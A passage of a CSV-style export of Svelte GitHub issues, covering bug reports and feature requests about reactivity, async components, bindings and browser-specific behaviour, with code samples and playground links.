annoyance",browser specific,2025-08-09T15:52:53Z,2025-08-14T14:52:56Z,2
sveltejs/svelte,3306257075,Documentation does not mention using await with mount,"### Describe the bug

In the [documentation](https://svelte.dev/docs/svelte/imperative-component-api#mount) for the mount function, there's this paragraph:
> Note that unlike calling new App(...) in Svelte 4, things like effects (including onMount callbacks, and action functions) will not run during mount. If you need to force pending effects to run (in the context of a test, for example) you can do so with flushSync().

Therefore you would expect to need to call `flushSync()` if you want the `onMount` callback to run for example, but I found a (simpler) solution from another issue (https://github.com/sveltejs/svelte/discussions/15105#discussioncomment-11944625) which consisted of using `await mount(...)` instead of `mount(...)`. I don't know if this is intended or not, but unless I'm mistaken, this isn't mentioned anywhere in the Svelte documentation, nor in the function's signature.

Perhaps it would be better to mention this somewhere in the documentation, and optionally to make the function return a promise (or create an async mount function that returns a promise) because the svelte language server is confused as to why I use `await` on a synchronous function.

### Reproduction

I've created a minimal example [here](https://svelte.dev/playground/ad768b05862047a495f0538cb67aab69?version=5.38.0). You can see (in the console) that when mounting synchronously, the call to `mount` finishes before the `onMount` handler executes, and asynchronously, the `onMount` handler execut... [TRUNCATED]",,2025-08-09T11:31:55Z,2025-08-09T20:41:05Z,3
sveltejs/svelte,3306171896,Declaration order of svelte 4 slot variables broken in Svelte 5.38+ when using `@const` directive,"### Describe the bug

Svelte 4 slots using inline `@const` declaration resulting in error at runtime
`Cannot access 'index' before initialization`

```svelte
<div slot=""item"" let:index let:style {style}>
	<!-- This results in error: ❌ -->
	<!-- `Cannot access 'index' before initialization` -->
	{@const item = list[index]}
	XOXO: {item}
	
	<!-- This works ✅ -->
	XOXO: {list[index]}
</div>
```



### Reproduction

```svelte
<div slot=""item"" let:index let:style {style}>
	<!-- This works ✅ -->
	XOXO: {list[index]}
</div>
```
Emits:
<img width=""508"" height=""357"" alt=""Image"" src=""https://github.com/user-attachments/assets/6933a8b6-a3eb-40c7-a313-3977163bd01d"" />

```svelte
<div slot=""item"" let:index let:style {style}>
	<!-- This results in error: ❌ -->
	<!-- `Cannot access 'index' before initialization` -->
	{@const item = list[index]}
	XOXO: {item}
</div>
```
Emits:
<img width=""455"" height=""378"" alt=""Image"" src=""https://github.com/user-attachments/assets/5a06ea94-e7d0-47a5-b484-27303e4665f8"" />
Here, const is emitted before any slot variable declaration

Here is an example project:
https://svelte.dev/playground/69d51ef1910347c4823c3e1c201d90f6?version=5.38.0

### Logs

```shell
Cannot access 'index' before initialization in <unknown> in VList.svelte in App.svelte in
```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2025-08-09T09:43:26Z,2025-10-20T01:35:39Z,1
sveltejs/svelte,3305445195,Function call passed as props in #if tag runs even if #if condition is false,"### Describe the bug

If I have an {#if} block where the condition is false, any props passed to a component in the {#if} tag which are calculated by a function will still call the function, resulting in potentially unexpected behavior.

See repl: https://svelte.dev/playground/f1a27ae8e85f478f93e6718dcbe6d4d4?version=5.38.0

Here App displays a Component, which takes in a prop, which is initially defined. Then it's made undefined by the button click, so I would expect anything inside the #if (eg. the rendering of Component2) not to run. But it still triggers modifyProp which is called from inside #if, which attempts to modify a property of an undefined parameter, even though it seems like that would be protected by the {#if} clause guarding against undefined.

modifyProp is not run when not passed as a prop to another component.

### Reproduction

https://svelte.dev/playground/f1a27ae8e85f478f93e6718dcbe6d4d4?version=5.38.0

### Logs

```shell
TypeError
TypeError: Cannot read properties of undefined (reading 'property')
    at modifyProp (playground:output:5179:72)
    at eval (playground:output:5193:34)
    at update_reaction (playground:output:3938:57)
    at execute_derived (playground:output:1684:13)
    at update_derived (playground:output:1700:15)
    at is_dirty (playground:output:3857:7)
    at flush_inspect_effects (playground:output:2543:8)
    at internal_set (playground:output:2524:5)
    at set (playground:output:2448:10)
    at HTMLButtonElement.on_click (playgr... [TRUNCATED]",,2025-08-08T23:42:53Z,2025-08-13T21:00:34Z,4
sveltejs/svelte,3302705026,"Top level await prevents onMount, bind:this from running","### Describe the bug

When using a top level `await` inside of a `<script>` tag both `onMount` and elements with `bind:this` will not run, despite all promises in the script tag resolving. I suspect `onMount` and `bind:this` run at roughly the same time internally and are being blocked by a single issue.

### Reproduction

Reproduction of both issues can be found here:

https://www.sveltelab.dev/695vn9wj60ay38q?files=.%2Fsrc%2Froutes%2F%2Bpage.svelte

Observe that

1. The button bound to `myButton` is undefined. This is shown both in the markup and by clicking the button to log the value of `myButton`
2. `onMount` has not run. This is shown both in the markup and by the absence of the log printed inside of `onMount`
3. Removing the `await ...` line causes both issues to go away

Oddly, when navigating to the second page `/page2` (which you can navigate to using the buttons) the `onMount` function from the first page will finally run. Navigating back to `/` will result in `onMount` and `bind:this` functioning seemingly correctly.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.15 Arch Linux
    CPU: (12) x64 AMD Ryzen 5 2600 Six-Core Processor
    Memory: 6.02 GB / 15.54 GB
    Container: Yes
    Shell: 5.3.3 - /bin/bash
  Binaries:
    Node: 22.17.0 - ~/.nvm/versions/node/v22.17.0/bin/node
    Yarn: 1.22.22 - /usr/bin/yarn
    npm: 10.9.2 - ~/.nvm/versions/node/v22.17.0/bin/npm
    pnpm: 10.13.1 - ~/.local/share/pnpm/pnpm
  Browsers:
    Chromium: ... [TRUNCATED]",,2025-08-08T05:38:02Z,2025-09-11T14:58:58Z,6
sveltejs/svelte,3302581182,Add 'hint' to the popover,"### Describe the problem

An error occurs: Type '""hint""' is not assignable to type '"""" | ""auto"" | ""manual"" | null | undefined'.


### Describe the proposed solution

Add 'hint' to the popover in packages/svelte/elements.d.ts.

### Importance

nice to have",,2025-08-08T04:28:25Z,2025-08-18T06:18:29Z,1
sveltejs/svelte,3302287883,How does $effect detect which variables to watch?,"### Describe the bug

```html
<script>
  let count = $state(0);
  let flag = false;
  function handleClick() {
    count += 1;
    console.log(""flag is"", flag);
    flag = true;
  }

  $effect(() => {
    console.log(""effect"");
    if (flag) console.log(count);
  });
</script>

<button onclick={handleClick}>
  Count is {count}
</button>
```


Clicking a few times on the button outputs

```
effect
flag is false
flag is true
flag is true
flag is true
```


Adding an empty nil in the effect works (it actually calls the effect):

```html
<script>
  let count = $state(0);
  let flag = false;
  function handleClick() {
    count += 1;
    console.log(""flag is"", flag);
    flag = true;
  }
	
  let nil = (...args) => {};
  $effect(() => {
    nil(count);
    console.log(""effect"");
    if (flag) console.log(count);
  });
</script>

<button onclick={handleClick}>
  Count is {count}
</button>
```

[playground](https://svelte.dev/playground/be077d8676864c2d9402785a4239094e)

it looks like the first evaluation basically tells svelte that flag is false and that it should ignore the rest of the code. Alternatively, converting flag to $state works. But I think it is not clear from the docs that $effect won't catch the dependency on `count` if it is in a branch.

### Reproduction

see above

### Logs

```shell

```

### System Info

```shell
playground
```

### Severity

annoyance",,2025-08-08T00:52:39Z,2025-08-08T01:08:31Z,2
sveltejs/svelte,3301912147,ram_expand_size,"### Describe the problem

bbehe

### Describe the proposed solution

bxbxbx

### Importance

nice to have",,2025-08-07T21:24:37Z,2025-08-07T21:52:25Z,0
sveltejs/svelte,3301582873,Modifying bound state in oninput handler no longer works in Firefox,"### Describe the bug

I recently tried updating our app to the latest version of Svelte, and noticed that our formatted inputs no longer work for Firefox users.

The inputs work as expected through Svelte 5.35.7, but starting in Svelte 5.36.0 what is displayed in the input no longer matches the bound Svelte state.

Are we doing something wrong here? If there isn't a simple workaround this blocks us from upgrading Svelte.

### Reproduction

https://svelte.dev/playground/bf28bf223e4746a199f15ca80385487d?version=5.38.0

Last version that worked: https://svelte.dev/playground/bf28bf223e4746a199f15ca80385487d?version=5.35.7

### Logs

```shell

```

### System Info

```shell
Windows 11, Firefox 141
```

### Severity

blocking an upgrade","bug,browser specific",2025-08-07T19:05:55Z,2025-10-13T18:25:36Z,6
sveltejs/svelte,3300374388,Cannot сreate сontrolled сheckbox with bind:checked using function accessors,"### Describe the bug

When using the function-accessor syntax for bind:checked, the setter function is ignored for checkboxes, making it impossible to create a truly controlled checkbox. The checkbox updates its visual state regardless of what the setter does.


### Expected behavior

The text input (<input bind:value=... />) is not editable, which is correct, because the setter is a no-op.

The checkbox should also not update its checked state when clicked, since the setter does nothing. In other words, its visual state should be controlled entirely by the value returned from the getter.

### Actual behavior

The text input is not editable (correct).

The checkbox updates visually when clicked (incorrect), even though the setter is a no-op and state does not actually change. This breaks the controlled component pattern.

### Why this matters
It should be possible to create fully controlled form elements, especially for validation scenarios or when changes must be accepted/rejected based on additional logic. The current behavior makes it impossible to prevent the checkbox from toggling unless you use deprecated APIs.


### Workaround
The only current workaround is to manually prevent the checkbox from updating using an event handler:

```svelte
<input
  type=""checkbox""
  bind:checked={() => bool, () => {}}
  onclick={e => e.preventDefault()}
/>
```
This way, the checkbox never updates its checked state due to user interaction and only reflects the value returned from the gett... [TRUNCATED]",,2025-08-07T12:47:05Z,2025-08-07T13:13:55Z,1
sveltejs/svelte,3300272798,"The compiler inserts a `$$css` variable, which cause error:  `The $ prefix is reserved and cannot be used for variables or imports.`","### Describe the bug

Hello guyz!

First of all, the error occurred after upgrading to Svelte v5, it was not a problem with v4.

For some context:
I have a plain JS library, which exports a class. On instance initialization mounts a component into a shadowRoot. (so its style is mostly encapsulated, which was the goal from our side).

I'd separate the problem into two part.

1 - The library complies ts and svelte files into js files and generates d.ts files  (to be usable , anywhere). For compiling, it uses rollup, rollup-plugin-svelte, svelte-preprocess, tailwindcss and some other rollup plugins that are irrelevant here.

```ts
// Part of my rollup config.
svelte({
    preprocess: sveltePreprocess({
        postcss: true,
        typescript: true,
        sourceMap: !!process.env.NODE_ENV || process.env.NODE_ENV === 'development'
    }),
    compilerOptions: {
        css: 'injected', // This is always 'injected' when compiling with customElement mode.
        customElement: true
    },
    emitCss: false
}),
```

2 - I got the mentioned error when I wan to use the built library in a `SvelteKit` app,  because the built `myComponent.svelte.js` file has:
```
// myComponent.svelte.js
const $$css = {
    hash: 'svelte-1kk8v2h',
    code: '/*! tailwindcss v4.1.11 | MIT License | https://tailwindcss.com */\n@layer properties;\n@layer theme, base, components, utilities;\n@layer theme {\n  :root, :host {\n    --font-sans: ui-sans-serif, system-ui, sans-serif, ""Apple Color Emoji"",\n..... [TRUNCATED]",,2025-08-07T12:16:56Z,2025-08-08T19:05:25Z,2
sveltejs/svelte,3298130978,On result event for form remote function,"### Describe the problem

A function that runs when we receive a response/result from a remote function. It’s useful to perform some validation after receiving the result.

**Example:** If there’s an error, show a toast or some kind of message.

This helps prevent infinite loops for new Svelte developers who might try to use `$effect` to handle the result.

<img width=""1468"" height=""868"" alt=""Image"" src=""https://github.com/user-attachments/assets/52e18195-5e71-4cab-af8a-c8f74cf22c86"" />

### Describe the proposed solution

formFunction.onResult = (result) => {
    console.log(result);
    // Do something here
};

### Importance

nice to have",,2025-08-06T21:25:20Z,2025-08-06T23:26:09Z,1
sveltejs/svelte,3298077229,$effect.pending() stuck at 1 even though the promise has resolved,"### Describe the bug

When using await inside the script tag, $effect.pending() seems to be ""stuck"" at a non-zero value even though the promise has resolved. Clicking any of the buttons in the example will ""clear"" the $effect.pending() and cause everything to work as expected from then on.

This bug makes showing loading states buggy, since they will never go away on their own.

The repro contains an additional case where an if-block depending on the value of $effect.pending() is permanently stuck. I'm not sure if this is a bug though, because putting an await in a place like that feels a little circular-y and I'm not surprised something broke...

```
<script lang=""ts""> 
  let length = $state(10)
  
  async function generateArray(length: number) {
    const result = new Promise(resolve => setTimeout(() => resolve([...Array(length).keys()]), 500))
    return result;
  }
	
  let testValues = $derived(await generateArray(length))
	$inspect('$effect.pending()', $effect.pending());
</script>

<div>
	<p>Value of length: {length}</p>

	<div>
		<button onclick={() => {console.log('clicked'); length--;}}>-</button>
		<button onclick={() => {console.log('clicked'); length++;}}>+</button>
	</div>
	<p>
		Clicking any of buttons will cause $effect.pending() to become 0 after the promise resolves.
	</p>
	<p>
		Value of $effect.pending(): {$effect.pending()}
	</p>
	
	{#if $effect.pending()}
		<p><strong>Imagine this is a loading indicator that should only be visible while updating data, but... [TRUNCATED]",,2025-08-06T21:07:26Z,2025-08-27T07:58:12Z,3
sveltejs/svelte,3297875616,"Async, tick, boundary and failed","### Describe the bug

I'm playing with the new `async` feature. The page reloads the data by calling `invalidateAll()` every 1 second. I noticed the tick stops after the first error.

I tried moving `error` and `reset` outside the boundary without luck.

I'm not sure if this is a real issue or a misunderstanding on my end. Please be gentle.

### Reproduction

First attempt - The page will stop reloading on the first error
```svelte
<script lang=""ts"">
function getPromise() {
  return new Promise((resolve, reject) => {
    if (Math.random() < 0.5) {
      resolve(Math.random());
    } else {
      reject(new Error(""Error occurred""));
    }
  });
}

let data = $state(getPromise());

let tick = $state(Date.now());
$effect(() => {
	const x = setInterval(() => {
		tick = Date.now();
	}, 1000);
	return () => clearInterval(x);
})

$effect(() => {
	if (tick) {
		data = getPromise();
  }
});

</script>

<main>
  <svelte:boundary>
    <p>{JSON.stringify((await data), null, 2)}</p>

    {#snippet pending()}
      <p>loading...</p>
    {/snippet}

    {#snippet failed(error, reset)}
      <p>error...</p>
    {/snippet}
  </svelte:boundary>
</main>
```

Second attempt - Move `error` and `reset` outside of boundary
```svelte
<script lang=""ts"">
  function getPromise() {
    return new Promise((resolve, reject) => {
      if (Math.random() < 0.5) {
        resolve(Math.random());
      } else {
        reject(new Error(""Error occurred""));
      }
    });
  }

  let data = $state(getPromise())... [TRUNCATED]",,2025-08-06T19:53:27Z,2025-10-21T10:05:59Z,2
sveltejs/svelte,3297168045,Svelte removes everything from a parent when each blocks array becomes empty.,"### Describe the bug

I was working on a JS library and ran into an issue where the elements added by this library to the DOM were vanishing for no reason. After testing around, I figured out, when an element is injected into the DOM using pure JS, which is usually done by Vanilla libraries, Svelte will also remove those elements when the array of an each block becomes empty.

### Reproduction

```svelte
<script lang=""ts"">
  import { onMount} from ""svelte"";

  let colors = $state([""yellow"", ""red"", ""blue""]);

  let divRef: HTMLDivElement;
  onMount(() => {
    if (!divRef) return;
    const newDiv = document.createElement(""div"");
    newDiv.innerText = ""someColor"";
    divRef.appendChild(newDiv);
  });
</script>

<button onclick={() => colors.pop()}>remove color</button>
<div bind:this={divRef}>
  {#each colors as color}
    <div>
      {color}
    </div>
  {/each}
</div>
```
For example, in the above code, I have simulated adding a div with the text of someColor to the div that contains an each block. When you click the button to pop the colors, when the colors array becomes empty, the div containing the ""someColor"" text will also vanish.
[REPO](https://svelte.dev/playground/hello-world?version=5.37.3#H4sIAAAAAAAACm1RwWrcMBD9lck0BxuM9-61DSUJ9NBcSm5RDlp73BWRR0YaexOE_70o2oUWetLw3rw380YRWc-EDWKFk7EUsHmNKJ9LwhKA1a3j-7LUYSMrCTvpQP_DB8dCLAEbbMPgzSJgNf_uFEpQ2CsGMPPivEAEx89uZdlh8m4GhdlE4VFx6rMkMDjrfIAO7oNooeJV4SdZ6y4KK1DoaczFya6k8K38Szqa7RdNDfx4ef75aLYnSzOxHBN9HVwUJXQ9xAQBmAmKuywqwZO... [TRUNCATED]",,2025-08-06T15:31:28Z,2025-08-06T16:35:24Z,6
sveltejs/svelte,3295202095,False positive state_unsafe_mutation,"### Describe the bug

The repro itself speaks more than a thousand words here. Either I am missing something, or callback shouldn't be run in reactive context in this case.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.37.3#H4sIAAAAAAAAE61STY_TMBD9K4NBaiJF6b20lVYIiQOc4EY5uMlksda1I3vSsrL83xnH3u1md-GAOCSW37w3H28chJEnFBvxCbW2cLFO91Bhrwj7WjRiUBq92HwPgu7HxEsA40V1M46tP6OmhB2lx9fwzhpCQ5xGbH3n1Ej7gzmQOo3WEXywfBqOw-DsCVbt-hEpKVbMZn6npffwDT1BSPcDnaWeEHbwzpMkrAapPdYpFIvCGiZTUuzA4GUWVzNDI4H_aS8v1dv1tUezPU5E1oA1nVbd3S5UNez2UBXpm3TWcZ_bY0KSZwlj4a0a5iKpHdpeBw2ppQjrxFmrgcPsEuEvEhtyE8bmD24_N2bp-SvRvzsfeKwvdjLUwC3SzZGxr-rWSN0Ag052dxDLUsoi3j_1NWRnY7JwdHb02dn0lbxVdqtsK6v8XIE1y5JFS_mfErcP202WZDhrW9n3H8881mfleTp01UqmRKsGFvWepZn3myMxP5L66TSPb6lHp87Yt8f7f2j__3Z4IIc0OQNX2kPji1ca5lBcPqIffJNKX5TpxWZOHX8DJEukHe0DAAA=)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

annoyance",,2025-08-06T05:08:37Z,2025-08-06T21:24:29Z,5
sveltejs/svelte,3295180587,Order of execution between script and teardown,"### Describe the bug

Whenever component inside `{#key}` gets remounted code inside `<script>` tag executes earlier than the teardown code inside `onDestroy`.

```svelte
<script>
	import { onMount, onDestroy, getAbortSignal } from 'svelte'

	console.log('script')

	onMount(() => {
		console.log('mount')
		const signal = getAbortSignal()
		signal.addEventListener('abort', () => console.log('abort'))
	})

	onDestroy(() => {
		console.log('destroy')
	})
</script>
```
```
script
mount
script
abort
destroy
mount
```

To me personally thats a bit counter-intuitive. If we change something inside `<script module>` for example then we can't rely on cleanup happening before new render.

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.37.3#H4sIAAAAAAAAE31SQW7CMBD8yspUSiIiwhkBEmor9dCeeiw9hGRDrRg7ihcosvL3ruMIBKIcIts7s7OecZzQ-Q7FTLyhUgaOplUlxFhKwjIRqaikQitmX07QqfE8X-D60LVqmok9oCJf2-QW79ULowk1sYyY26KVDS3Xek1y15iW4NnwqhmHqjU7iCbZuTJIRJ7tP4UENSzgyVJOGE-TtZ5nF0U93-yJjAajCyWLeuHiBBZLqMfjrp_YV4GOskDfGdh9pxvJiqWXMO080Y1qPEHd79c0v1wx63VcxjCDLpMVL2yR8JfEjNo9duk_Ud26ug7sDvo4NscuP8xeU8qbF7TUmlMKW6TVhuFPudW5gm7I9JKjT8FoaxROlNnGURCOkgANknHIzQX7V_ydx3v6gBDYMGtxMzweSAGe5GX5emA779KyK2zjKPfcKIUw7GpKgJJeoTvfbXD54HZlYETnxqvfo_hBfn4m2ts3--ZTLtVR6lLMqlxZ7P4ABv6fURkDAAA=)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

annoyance",,2025-08-06T04:54:39Z,2025-10-23T09:44:22Z,4
sveltejs/svelte,3289823418,Application using LayerChart hanging after updating Svelte to 5.36.0+ (logging `UpdatedAtError` in 5.36.5+),"### Describe the bug

While investigating async compat [issues](https://github.com/techniq/layerchart/issues/626) with LayerChart, I [noticed](https://github.com/techniq/layerchart/issues/630#issuecomment-3151063055) after bumping Svelte from `5.34.1` to [5.35.4](https://github.com/sveltejs/svelte/releases/tag/svelte%405.35.4) (and beyond) begins to throw `effect_update_depth_exceeded` errors we had not prior.

I believe this stems from how we [setup](https://github.com/techniq/layerchart/blob/next/packages/layerchart/src/lib/utils/motion.svelte.ts#L157-L184) motion state / value tracking.  Let me know if this should be handled differently, or is in fact a regression.  The only changeset for `5.35.4` is:

> fix: abort and reschedule effect processing after state change in user effect 

As always, thanks for all the hard work!

### Reproduction

- Checkout LayerChart [PR 629](https://github.com/techniq/layerchart/pull/629) / `update-deps` branch
- `pnpm install`
- `pnpm dev`
- Open the [Area](http://localhost:3002/docs/examples/Area) example (or many others with motion such as [Bars](http://localhost:3002/docs/examples/Columns) and [Pack](http://localhost:3002/docs/examples/Pack)).  For even more taxing examples, view [Force Disjoint Graph](http://localhost:3002/docs/examples/ForceDisjointGraph), [Force Tree](http://localhost:3002/docs/examples/ForceTree), or [Force Lattice](http://localhost:3002/docs/examples/ForceLattice)) 

### Logs

```shell
client:733 [vite] connecting...... [TRUNCATED]",,2025-08-04T15:03:30Z,2025-08-17T12:31:21Z,26
sveltejs/svelte,3289447343,Please add/document `bind:this` setter support,"### Describe the problem

I am doing something like this:

```svelte
{#each Object.entries(tabs) as [tabId, tab] (tabId)}
    <TabView selected={tabId === selected} bind:this={tabViews[tabId]}>
        Content
    </TabView>
{/each}
```

Binding directly to an object `const tabViews = {}` via `bind:this={tabViews[tabId]}` does not work when adding more tabs dynamically, then references to existing (""cached"" by `#each` because of given key `(tabId)`) tabs are lost. See this result after adding more tabs: `{player: null, group: Proxy(Object), call: Proxy(Object), chat: Proxy(Object)}`. ❗

I then tried binding to a map using getters and setters as described in https://svelte.dev/docs/svelte/bind#Function-bindings like so `bind:this={null, (v) => tabViews.set(tabId, v)}`. This failed with a runtime error: `Binding as described in https://svelte.dev/docs/svelte/bind#Function-bindings` ❗

Therefore I changed the code to this `bind:this={() => null, (v) => tabViews.set(tabId, v)}` which finally worked ✅

### Describe the proposed solution

# Request

Please add support for the mentioned https://svelte.dev/docs/svelte/bind#Function-bindings for `bind:this`.

Or if that is not sensible, then maybe add this behaviour to the docs?

### Importance

nice to have",,2025-08-04T13:25:46Z,2025-10-09T20:26:54Z,5
sveltejs/svelte,3281833923,Firefox does not clear $state variables upon refresh,"### Describe the bug

Hi all,

I have a svelte/svelte kit application in which users can fill in a form by inputting data in various fields. The fields can be text area, radio button or check boxes. I recently migrated from Svelte 4 to 5 and I am experiencing a strange bug that seems to only affect Firefox (works fine with Chrome and Edge). The variables declared with $state used for keeping track of the user inputs are not ""cleared"" upon refreshing the page. This leads to discrepancies between the data displayed to the user and the data coming from the database.
 
**Background on the application:**
When the user goes to the form page, the load() function retrieves from the database the data inputted/stored previously (if any) and renders it in the respective fields of the form. The user can then modify the fields, and press a Save button which triggers an API call to store the data in the database.
 
**The issue:**
With Firefox (latest, 141.0), if the user modifies a field (any fields) and refreshes the page without saving, the newly inputted data will persist in the field even after the refresh. This is not the data stored in the DB. This is not intended behavior. 
Note: This behavior is only observed when refreshing the page twice or more. When navigating away from the page and coming back, the data is loaded anew and displayed accurately.
 
**Expected behavior:**
Refreshing the page without saving should be a way for the user to discard all unsaved changes in fields at on... [TRUNCATED]",,2025-07-31T21:54:30Z,2025-08-04T20:25:00Z,7
sveltejs/svelte,3281824453,Using spread props with range input breaks reactivity,"### Describe the bug

Using spread props breaks the reactivity of the `step` attribute. This may be a part of a larger issue, although I could not find a duplicate issue that matches. You can fix it by wrapping the input in `{#key step}`.

### Reproduction

https://svelte.dev/playground/hello-world?version=5.37.1#H4sIAAAAAAAACn2PwWrDMBBEf2VZerBBOE6Pwjbk1g_oLepBjTdFoKyFd500CP17EW16Kr0-3swwGdlfCC2-UIwL3JY1ztDQHJTmFg2eQyRBe8yo91S9CtA8UoeUOrlS1MrevdBf_LSwEqugxUFOa0g6OY6kIEoJRngS9UqNQ893h61jIX0NF1o2bZoWxukh7nsD-77v_1F-Sgw8f3vD7nfR8RA4bQr1yehw9fxBDiHXaIHcdV0uBXYTGlT6VLS6blTeDKoP8RZ4Rnv2Uah8Acv4cSY1AQAA

### Logs

```shell

```

### System Info

```shell
Binaries:
  Node: 22.13.0 - C:\Program Files\nodejs\node.EXE
  pnpm: 10.13.1 - ~\AppData\Local\pnpm\pnpm.CMD
Browsers:
  Chrome: 138.0.7204.158
npmPackages:
  svelte: ^5.36.13 => 5.36.16
```

### Severity

annoyance",,2025-07-31T21:49:14Z,2025-08-02T19:29:11Z,4
sveltejs/svelte,3277573502,duplicate_class_field false positive with static class members,"### Describe the bug

``` ts
class Hello {
  hello() {}
  static hello() {} // throws ""`hello` has already been declared""
}
```

### Reproduction

https://svelte.dev/playground/d875318270e444efb8a4e7b095375885?version=5.37.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (8) arm64 Apple M1
    Memory: 130.66 MB / 8.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.17.0 - ~/.nvm/versions/node/v20.17.0/bin/node
    Yarn: 1.22.22 - ~/.nvm/versions/node/v20.17.0/bin/yarn
    npm: 10.8.2 - ~/.nvm/versions/node/v20.17.0/bin/npm
    bun: 1.0.15 - ~/.bun/bin/bun
    Watchman: 2023.12.04.00 - /opt/homebrew/bin/watchman
  Browsers:
    Chrome: 138.0.7204.170
    Safari: 18.5
```

### Severity

annoyance",bug,2025-07-30T15:39:11Z,2025-07-31T09:11:53Z,0
sveltejs/svelte,3276449256,Updating derived doesn't trigger reactivity.,"### Describe the bug

I know we recently got the ability to change $derived variables, which allowed for things such as optimistic updates. I love the idea but what's the point if it isn't going to trigger reactivity?

### Reproduction

```svelte
<script lang=""ts"">
  let name = $state(""Sherlock"");
  let object = $derived({
    name,
  });
</script>

<button onclick={() => (object.name = ""Holmes"")}>change name</button>
<div>{object.name}</div>
```
[Repo](https://svelte.dev/playground/untitled?version=5.37.1#H4sIAAAAAAAACm2NwU7DMBBEf8UacUikqLkHxxI37ogT5uA429bUXUfxNoCi_DtySyUO3FZv3syuYHcmdHhlCRJpRIN9iJTRva2Q76lkBaC5m0_TtMsLRSlscJn-4z6xEEtGB539HCZR0fGht5BsYSwrFUlUqapePWRxQpXFy5HmmPzJon68O2n4IC_FGmkOC43VWiJ1LTfl3Iqs29sfY9myHi4iiVViH4M_9WtVq96o6ra1-31r8ZzimbJFvRl_dHyg66hub3VjWY9hMeuf2qbbgtBA6EvQyXyh7b2BuBA_A4_o9i5m2n4A5jL6dlkBAAA=)

Svelte version => [svelte@5.37.1](https://github.com/sveltejs/svelte/releases/tag/svelte%405.37.1)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26100
    CPU: (16) x64 12th Gen Intel(R) Core(TM) i7-12650H
    Memory: 8.02 GB / 15.63 GB
  Binaries:
    Node: 23.11.0 - C:\nvm4w\nodejs\node.EXE
    npm: 11.4.1 - C:\nvm4w\nodejs\npm.CMD
    pnpm: 10.13.1 - C:\nvm4w\nodejs\pnpm.CMD
  Browsers:
    Edge: Chromium (136.0.3240.64)
    Internet Explorer: 11.0.26100.1882
```

### Severity

annoyance",,2025-07-30T10:10:37Z,2025-07-30T10:35:22Z,1
sveltejs/svelte,3275077671,Events firing multiple times when toggling large DOM change,"### Describe the bug

In my application, I am toggling parts of DOM based on user action, typically click. This may be category toggle that shows a list of items and the DOM is behind {#if ...}...{/if}, or popup, which I mount dynamically with mount().

I have noticed that sometimes events fire multiple times. Or at least that's what I think is happening. Typically that means that you click the button that should mount popup, and the popup is mounted 2 or 3 times. Or category doesn't toggle properly and it needs few clicks.

### Reproduction

This seems to be happening only in Firefox, from what I have seen. I'm therefore not sure if this is a browser bug, or svelte bug.

In the REPL below there are three buttons, toggling a component with simple list. Small list has 100 items and toggling it seems to always work properly. Large list has 10000 items and toggling it doesn't (usualy) work. If you can't replicate it, you may try to increase number of items.

The workaround that seems to work is to trigger the change in animation frame.

https://svelte.dev/playground/d9ee33fb8a6547eb90be1283cbb23894?version=5.37.1

The inevitable conclusion to this is that I have to wrap all event handlers in requestAnimationFrame, if I want to be sure that it works properly. It's not easily deduced which DOM change will produce the bug, and which will not.

### System Info

```shell
Windows 10
Firefox 141.0 (64-bit)
```

### Severity

annoyance",,2025-07-29T21:50:22Z,2025-07-31T23:15:23Z,13
sveltejs/svelte,3274089395,svelte:boundary does not catch errors inside async component scripts,"### Describe the bug

i'm using the experimental async feature, svelte:boundary does catch errors when using {await ...} in the markup, but it doesn't if the await is inside the component's script tag.

### Reproduction

https://svelte.dev/playground/4bea921679af4be984e73bf9f38c804c?version=latest

### Logs

```shell
Uncaught (in promise) failed to fetch data (in component script)
```

### System Info

```shell
System:
    OS: Linux 6.15 Fedora Linux 42 (Toolbx Container Image)
    CPU: (16) x64 AMD Ryzen 7 7730U with Radeon Graphics
    Memory: 3.77 GB / 14.96 GB
    Container: Yes
    Shell: 5.2.37 - /usr/bin/bash
  Binaries:
    Node: 22.17.0 - /usr/bin/node
    pnpm: 10.9.0 - /usr/bin/pnpm
    bun: 1.2.19 - /usr/local/bin/bun
  npmPackages:
    svelte: ^5.37.1 => 5.37.1
```

### Severity

annoyance",,2025-07-29T15:33:50Z,2025-10-20T20:17:29Z,3
sveltejs/svelte,3273984324,Importing the file named `server_manager.svelte.ts` put under `$lib` triggered error about information leak,"### Describe the bug

Importing the file named `server_manager.svelte.ts` that is put under `$lib` into client pages triggered error

```
[vite] Internal server error: Cannot import $lib/server_manager.svelte.ts into client-side code. This could leak sensitive information.
```

This is super frustrating. Why did `server_manager` made SvelteKit believe it was an server only file?

### Reproduction

Create a new SvelteKit project. Create an file `server_manager.svelte.ts` in `/src/lib`. Import anything in  `$lib/server_manager.svelte.ts` into client codes.

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 5.15 Ubuntu 24.04.2 LTS 24.04.2 LTS (Noble Numbat)
    CPU: (24) x64 12th Gen Intel(R) Core(TM) i9-12900K
    Memory: 53.39 GB / 62.58 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 22.17.1 - /opt/node/bin/node
    npm: 10.9.2 - /opt/node/bin/npm
```

### Severity

annoyance",,2025-07-29T14:59:47Z,2025-07-29T15:02:45Z,0
sveltejs/svelte,3267218101,Await doesn't work with #await block,"### Describe the bug

I know there is no good reason to use await with the #await block, but it should work anyway

### Reproduction

[REPL](https://svelte.dev/playground/hello-world?version=5.37.0#H4sIAAAAAAAAA22Oyw7CIBBFf4WMC9vElD0xJu78B-sCYZpiKJAytRrCvws-dq4mc-6cyU3g5IQg4ITWerb62WrWoDaEuoUdDMZiBHFOQM9Q7yoo_GsdQ-jiHS1VdpUR_3HlHaGj8gbSRq7SEGs-Y0BSY7MdiUIUnOtlmp636F2n_MTD7PWiKG7brrKmbRmN6Fj6BTn3rqe0QalG9oNMRpbIkMVP3NM-HL5gz8PhrfCqlDjxd49cShI-CATNC-ZL2aSxq3EaxCBtxPwCICO0cycBAAA=)

### Logs

```shell
await isn't allowed in non-async function (Note that you need plugins to import files that are not JavaScript)
```

### System Info

```shell
Using Svelte compiler version 5.37.0
